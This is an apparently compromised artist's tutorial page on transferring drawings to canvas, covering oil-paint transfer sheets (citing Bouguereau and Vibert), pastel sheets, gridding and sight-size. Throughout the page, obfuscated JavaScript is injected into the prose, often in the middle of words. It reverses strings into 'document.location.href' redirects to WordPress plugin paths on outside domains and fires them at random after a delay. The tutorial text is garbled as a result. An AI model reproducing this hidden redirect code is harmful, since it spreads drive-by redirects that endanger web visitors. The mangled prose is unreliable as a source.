Donatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to's method is perhaps over-simplified. To read more about the technique, visit Donatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to's $Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toart.com/technique/mounting/mounting.html" target="_blank">website, where he describes his process in more detail).
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor" style="clear: both;text-align: center">
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor" style="clear: both;text-align: center">
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor" style="clear: both;text-align: center">
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to;margin-right: autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to"> |
| At this stage in one of my paintings, I have established the values of my finished work. The dark, thin linework, like that seen forming the contoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tours of the trees in the background, were done through an oil paint transfer sheet. |
Several years ago, after reading Mark Walker's article "Bouguereau at Work" (available online at the Art Renewal Center), I switched toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a method which Bouguereau favored, and which was apparently popular in France in the late 19th century. Basically, this particular process for transferring drawings is much like the method of using transfer paper I described earlier, except instead of using a sheet of paper covered with charcoal or graphite, a transfer sheet of oil paint is employed. This technique, as recorded by the artist Jehan Georges Vibert in his book The Science of Painting is described as follows:
. . . instead of using paper rubbed with black or red chalk, or white lead or lamp black, the tracings on which have the disadvantage of disappearing as the painting proceeds and sometimes soiling the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tones, it is preferable toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prepare a tracing paper of the shade desired by rubbing oil colour mixed with siccative on an ordinary piece of tracing paper. In order that very little colour may remain, any excess should be well wiped off with a rag pad.
The layer of colour being very thin and very siccative, this kind of paper is only serviceable for a few hours.
Its use has great advantages : the tracings obtained from it when dry look as if painted with a very fine paint brush ; they do not run when painted with new colour – they may even be done over with semi-liquids or glazings ; and they bring no foreign body intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the painting. For designs on stuffs, tapestries or other ornaments which have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be traced on backgrounds, and which require going over, this kind of tracing is very convenient, because by doing it with the exact toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tone, there is no need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to repaint the tracing.
Personally, I like this method a lot, and for precisely the reasons Vibert suggested. I particularly like the fact that, by not introducing a new material toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to my paintings, these painted outlines are not going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to damage the longevity of my work. When I have employed this method, I have used raw umber oil paint spread on tracing paper using a paper toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towel. I do not add any medium, and the lines dry toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touch within half a day. The one negative toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to this, however, is that the paint transfers very easily toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to canvas, and can leave the light remains of pigment on the crests of the weave, so I tend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to clean up the transfer with a dry brush before allowing it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to set.
$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to;margin-right: autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to"> |
| A transfer done using a homemade pastel sheet. |
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$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor" style="clear: both;text-align: center">
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$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000;setTimeout($Bhq(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor" style="clear: both;text-align: center">
Recently, I have been utilizing another variation on the basic transfer method, using sheets made with pastels instead of charcoal or graphite. I choose the color of the pastel based on the key of my painting, and by what color I think will least affect the overall painting in the future, when my paints become more transparent. And if I see a need toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, I can use more than one color of pastel without making toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too much of a mess. So, for example, if I am working on a high contrast piece with light-colored flowers, I might use a dark value pastel in the shadow areas, and a light value that suits the local color of the flower petals. Once the transfer has been made, I clean up the image, if necessary, with a kneaded eraser, and seal the pastel with shellac and an atoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomizer. This method produces colored lines which are just as clean as those made with the oil paint transfer sheets, but has the advantage of a shorter drying period; the shellac is dry within minutes, and allows moving on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the finish on the same day.
Of course, another option is just toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to re-draw the sketch directly on the work surface, which I have also done many times before. One method is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to use gridding, by which the original can be superimposed with a framework of squares – drawn directly on the original or overlaid on a piece of clear acetate – and transferred toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a corresponding framework of squares on the canvas (see Enlarging a Drawing & Squaring Off). But perhaps my favorite, at least in terms of the outcome, has been toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to place my original alongside my work surface and using sight-size toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to redraw my original concept on the canvas directly in thinned oil paint.
